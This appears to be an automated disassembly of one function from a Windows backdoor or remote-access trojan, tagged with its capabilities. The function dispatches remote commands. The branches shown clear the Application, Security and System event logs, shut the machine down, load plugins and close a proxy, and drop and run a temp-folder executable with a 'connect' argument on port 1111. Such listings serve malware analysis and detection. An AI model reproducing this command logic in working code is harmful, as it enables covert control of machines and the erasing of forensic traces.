Function at 0x10004ed0
Capabilities:
Access the windows event log
Clear windows event logs
Shutdown system
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x624
mov eax, dword [0x10026008]
xor eax, esp
mov dword [esp + 0x620], eax
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
mov dword [esp + 0x14], ebx
movzx eax, byte [esi]
mov dword [esp + 0x18], esi
mov dword [esp + 0x1b8], edi
cmp eax, 0x7c
ja case.default.0x10005639
movzx eax, byte [eax + 0x10005af8]
jmp dword [eax*4 + 0x10005a6c]
push 4
lea eax, [edi - 1]
push 0x3000
push eax
push 0
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je case.default.0x10005639
push dword [esp + 0x18]
lea ecx, [esi + 1]
push ecx
push edi
call fcn.1000a330
add esp, 0xc
mov dword [esp + 0x20], edi
cmp dword [ebx + 0xfb0], 0
mov dword [esp + 0x1c], 0x100033c0
push 0
push 0
push 0
push 0
jne 0x10004f75
mov dword [esp + 0x2c], 0x10003360
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [esp + 0x30], eax
lea eax, [esp + 0x24]
push eax
push 0x10006540
push 0
push 0
call fcn.1000ec8b
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0xfac]
mov dword [ebx + eax*4 + 0xc], esi
inc dword [ebx + 0xfac]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x620]
xor ecx, esp
call fcn.10008398
mov esp, ebp
pop ebp
ret 8
movzx esi, byte [esi + 1]
mov edx, 1
call fcn.100069a0
push 0
push esi
call dword [sym.imp.USER32.dll_ExitWindowsEx]
xor edx, edx
call fcn.100069a0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x620]
xor ecx, esp
call fcn.10008398
mov esp, ebp
pop ebp
ret 8
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 0
push 0
mov dword [esp + 0x2c], 0x10003070
mov dword [esp + 0x30], 0
call esi
push 0
push 0
mov dword [esp + 0x30], eax
lea eax, [esp + 0x24]
push eax
push 0x10006540
push 0
push 0
call fcn.1000ec8b
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add esp, 0x18
push 0xffffffffffffffff
push dword [esp + 0x2c]
call ebx
push dword [esp + 0x28]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
mov eax, dword [esp + 0x14]
push 0
push 0
push 0
mov eax, dword [eax + 4]
push 0
mov dword [esp + 0x2c], 0x10003420
mov eax, dword [eax + 0x48]
mov dword [esp + 0x30], eax
call esi
push 0
push 0
mov dword [esp + 0x30], eax
lea eax, [esp + 0x24]
push eax
push 0x10006540
push 0
push 0
call fcn.1000ec8b
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [esp + 0x2c]
call ebx
push dword [esp + 0x28]
call edi
mov ecx, dword [esp + 0x14]
push 0xa
mov eax, dword [ecx + 0xfac]
mov dword [ecx + eax*4 + 0xc], esi
inc dword [ecx + 0xfac]
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x620]
xor ecx, esp
call fcn.10008398
mov esp, ebp
pop ebp
ret 8
push 4
push 0x3000
lea ebx, [edi - 2]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je case.default.0x10005639
push ebx
lea ecx, [esi + 2]
push ecx
push edi
call fcn.1000a330
movzx ebx, byte [esi + 1]
add esp, 0xc
mov ecx, edi
call fcn.10006090
mov esi, eax
test esi, esi
je 0x10005142
mov edx, str.PluginMe
mov ecx, esi
call fcn.10006430
push 0
push ebx
push 0x10021b7a
call eax
add esp, 0xc
mov ecx, esi
call fcn.100064c0
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x620]
xor ecx, esp
call fcn.10008398
mov esp, ebp
pop ebp
ret 8
push 0
push 0
lea eax, [esi + 1]
mov dword [esp + 0x24], 0x10003b10
push 0
mov dword [esp + 0x2c], eax
push 0
jmp 0x10004f75
mov esi, dword [sym.imp.USER32.dll_BroadcastSystemMessageA]
push 0
push 2
push 0x10
push 0
push 2
call esi
push 0
push 2
push 0x10
push 0
push 4
call esi
push 0
push 2
push 0x10
push 0
push 8
call esi
push 0
push 2
push 0x10
push 0
push 0x20
call esi
push 0
push 2
push 0x10
push 0
push 0x30
call esi
push 0
push 2
push 0x10
push 0
push 0x40
call esi
push 0
push 2
push 0x10
push 0
push 0x80
call esi
push 0
push 2
push 0x10
push 0
push 0x100
call esi
push 0
push 2
push 0x10
push 0
push 0x10
call esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x620]
xor ecx, esp
call fcn.10008398
mov esp, ebp
pop ebp
ret 8
push 0
push 0
lea eax, [esi + 1]
mov dword [esp + 0x24], 0x10003dc0
push 0
mov dword [esp + 0x2c], eax
push 0
jmp 0x10004f75
push 0
push 0
push 0
lea eax, [esi + 1]
mov dword [esp + 0x28], 0x100037e0
push 0
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [esp + 0x30], eax
lea eax, [esp + 0x24]
push eax
push 0x10006540
push 0
push 0
call fcn.1000ec8b
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0xfac]
push 0x64
mov dword [ebx + eax*4 + 0xc], esi
inc dword [ebx + 0xfac]
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x620]
xor ecx, esp
call fcn.10008398
mov esp, ebp
pop ebp
ret 8
push 0
push 0
lea eax, [esi + 1]
mov dword [esp + 0x24], 0x10003900
push 0
mov dword [esp + 0x2c], eax
push 0
jmp 0x10004f75
push 0x168
lea eax, [esp + 0x22c]
mov ecx, 0x5c
lea edi, [esp + 0x34]
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.1000a170
add esp, 0xc
lea eax, [esp + 0x13c]
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je case.default.0x10005639
mov ecx, dword [esp + 0x1b8]
lea eax, [esp + 0x1b0]
push 0
push eax
add ecx, 0xfffffe90
push ecx
mov ecx, dword [esp + 0x24]
add ecx, 0x170
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je case.default.0x10005639
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x38]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10005356
sub ecx, edx
je 0x10005386
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0x140]
push eax
lea eax, [esp + 0x230]
push str._s__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x1000539c
lea eax, [esp + 0x13c]
push eax
lea eax, [esp + 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esp + 0x34]
sub eax, 0
je 0x100053f4
sub eax, 1
je 0x100053cf
sub eax, 2
jne case.default.0x10005639
call fcn.10003620
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x620]
xor ecx, esp
call fcn.10008398
mov esp, ebp
pop ebp
ret 8
xor edx, edx
lea ecx, [esp + 0x228]
call fcn.10004040
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x620]
xor ecx, esp
call fcn.10008398
mov esp, ebp
pop ebp
ret 8
mov edx, 5
lea ecx, [esp + 0x228]
call fcn.10004040
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x620]
xor ecx, esp
call fcn.10008398
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebx + 4]
push 0
push 0
push 0
mov dword [esp + 0x28], 0x10003550
mov dword [esp + 0x2c], eax
push 0
jmp 0x10004f75
mov ecx, dword [0x100278dc]
test ecx, ecx
je case.default.0x10005639
mov edx, str.CloseProxy
call fcn.10006430
call eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x620]
xor ecx, esp
call fcn.10008398
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebx + 4]
push str.kernel32.dll
mov dword [esp + 0x1b4], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push 0x10022b30
push ebx
mov dword [esp + 0x1c], ebx
call esi
push 0x10022b4c
push ebx
mov edi, eax
call esi
push 0x10022b5c
push ebx
mov dword [esp + 0x1c0], eax
call esi
push 0
push 2
mov dword [esp + 0x34], eax
call edi
mov esi, eax
test esi, esi
je 0x10005509
lea eax, [esp + 0x228]
mov dword [esp + 0x228], 0x128
push eax
push esi
call dword [esp + 0x1c0]
test eax, eax
je 0x10005509
mov edi, dword [esp + 0x18]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
inc edi
lea eax, [esp + 0x24c]
push eax
push edi
call ebx
test eax, eax
je 0x10005554
lea eax, [esp + 0x228]
push eax
push esi
call dword [esp + 0x34]
test eax, eax
jne 0x100054e5
mov ebx, dword [esp + 0x14]
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x1000551d
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je case.default.0x10005639
mov ecx, dword [esp + 0x1b0]
lea eax, [esp + 0x13]
push 1
push eax
mov byte [esp + 0x1b], 0xd5
call fcn.100018f0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x620]
xor ecx, esp
call fcn.10008398
mov esp, ebp
pop ebp
ret 8
mov ebx, dword [esp + 0x14]
mov edi, 1
jmp 0x1000550b
mov edi, dword [ebx + 4]
lea eax, [esi + 1]
push eax
push 0x10003e20
call dword [sym.imp.USER32.dll_EnumWindows]
cmp dword [0x10027db4], 0
je 0x100055a4
push 1
lea eax, [esp + 0x17]
mov byte [esp + 0x17], 0xd5
push eax
mov ecx, edi
call fcn.100018f0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x620]
xor ecx, esp
call fcn.10008398
mov esp, ebp
pop ebp
ret 8
mov dword [0x10027db4], 0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x620]
xor ecx, esp
call fcn.10008398
mov esp, ebp
pop ebp
ret 8
lea ecx, [esi + 1]
mov edx, 1
call fcn.10003ee0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x620]
xor ecx, esp
call fcn.10008398
mov esp, ebp
pop ebp
ret 8
lea ecx, [esi + 1]
xor edx, edx
call fcn.10003ee0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x620]
xor ecx, esp
call fcn.10008398
mov esp, ebp
pop ebp
ret 8
movzx eax, byte [esi + 1]
dec eax
mov dword [esp + 0x1a4], str.Application
mov dword [esp + 0x1a8], str.Security
mov dword [esp + 0x1ac], str.System
cmp eax, 3
ja case.default.0x10005639
jmp dword [eax*4 + 0x10005b78]
mov dword [esp + 0x1ac], 0x10021b7a
jmp 0x10005670
mov dword [esp + 0x1a4], 0x10021b7a
mov dword [esp + 0x1ac], 0x10021b7a
jmp case.0x10005639.1
mov dword [esp + 0x1a4], 0x10021b7a
mov dword [esp + 0x1a8], 0x10021b7a
mov ebx, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
xor esi, esi
nop dword [eax]
nop word [eax + eax]
push dword [esp + esi*4 + 0x1a4]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov edi, eax
test edi, edi
je 0x100056b1
push 0
push edi
call ebx
push edi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
inc esi
cmp esi, 3
jb 0x10005690
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x620]
xor ecx, esp
call fcn.10008398
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebx + 4]
push 0x15d
push 0x40
mov dword [esp + 0x1b8], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
test ebx, ebx
je case.default.0x10005639
mov byte [ebx], 0xd6
lea edi, [ebx + 1]
mov ecx, 0x57
mov esi, str.www.tianmao.com
rep movsd dword es:[edi], dword [esi]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [esp + 0x1b0]
push eax
push ebx
call fcn.100018f0
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x620]
xor ecx, esp
call fcn.10008398
mov esp, ebp
pop ebp
ret 8
push 0x400
lea eax, [esp + 0x22c]
mov dword [esp + 0x1b4], 0x74736f48
push 0
push eax
inc esi
mov byte [esp + 0x1c0], 0
call fcn.1000a170
add esp, 0xc
mov dword [esp + 0x1a4], 0x6e69614d
lea eax, [esp + 0x1a4]
mov dword [esp + 0x1a8], 0x5c6c6c44
mov word [esp + 0x1ac], 0x7325
mov byte [esp + 0x1ae], 0
push str.MUTEX_OBSFL
push eax
lea eax, [esp + 0x230]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ecx
lea eax, [esp + 0x1c0]
push eax
lea edx, [esp + 0x23c]
call fcn.10006e20
add esp, 0x14
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x620]
xor ecx, esp
call fcn.10008398
mov esp, ebp
pop ebp
ret 8
push 0x400
lea eax, [esp + 0x22c]
mov dword [esp + 0x20], 0x6e6e6f43
push 0
push eax
inc esi
mov dword [esp + 0x2c], 0x47746365
mov dword [esp + 0x30], 0x70756f72
mov byte [esp + 0x34], 0
call fcn.1000a170
add esp, 0xc
mov dword [esp + 0x1a4], 0x6e69614d
lea eax, [esp + 0x1a4]
mov dword [esp + 0x1a8], 0x5c6c6c44
mov word [esp + 0x1ac], 0x7325
mov byte [esp + 0x1ae], 0
push str.MUTEX_OBSFL
push eax
lea eax, [esp + 0x230]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ecx
lea eax, [esp + 0x2c]
push eax
lea edx, [esp + 0x23c]
call fcn.10006e20
add esp, 0x14
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x620]
xor ecx, esp
call fcn.10008398
mov esp, ebp
pop ebp
ret 8
mov dword [esp + 0x1c], 0x100042e0
mov eax, dword [ebx + 4]
push 0
push 0
push 0
mov eax, dword [eax + 0x48]
mov dword [esp + 0x2c], eax
push 0
jmp 0x10004f75
mov dword [esp + 0x1c], 0x100042f0
jmp 0x1000589d
mov dword [esp + 0x1c], 0x10004420
jmp 0x1000589d
mov dword [esp + 0x1c], 0x10004550
jmp 0x1000589d
mov dword [esp + 0x1c], 0x10004680
jmp 0x1000589d
mov dword [esp + 0x1c], 0x100047b0
jmp 0x1000589d
mov dword [esp + 0x1c], 0x100048e0
jmp 0x1000589d
mov dword [esp + 0x1c], 0x10004a10
jmp 0x1000589d
mov dword [esp + 0x1c], 0x10004b40
jmp 0x1000589d
mov dword [esp + 0x1c], 0x10004c70
jmp 0x1000589d
mov dword [esp + 0x1c], 0x10004d00
jmp 0x1000589d
call fcn.10005cc0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x620]
xor ecx, esp
call fcn.10008398
mov esp, ebp
pop ebp
ret 8
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [esp + 0x1c], 0x67756c50
mov dword [esp + 0x20], 0x32336e69
mov dword [esp + 0x24], 0x6578652e
mov byte [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x1c8]
push eax
call fcn.10002e10
add esp, 0xc
lea eax, [esp + 0x1c0]
push eax
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je case.default.0x10005639
lea ecx, [esi + 1]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100059c0
sub ecx, edx
lea edx, [esi + 1]
lea eax, [edx + 1]
mov dword [esp + 0x1b0], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x100059d6
sub edx, dword [esp + 0x1b0]
lea eax, [esp + 0x2c]
push 0
push eax
sub edi, ecx
lea eax, [esi + 2]
sub edi, 2
add eax, edx
push edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.2jduv6
lea eax, [esp + 0x22c]
push str._connect__s:1111
push eax
call fcn.10002e10
add esp, 0xc
mov dword [esp + 0x1b8], 0x6e65706f
lea eax, [esp + 0x228]
mov byte [esp + 0x1bc], 0
push 0
push 0
push eax
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x1c8]
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [esp + 0x62c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10008398
mov esp, ebp
pop ebp
ret 8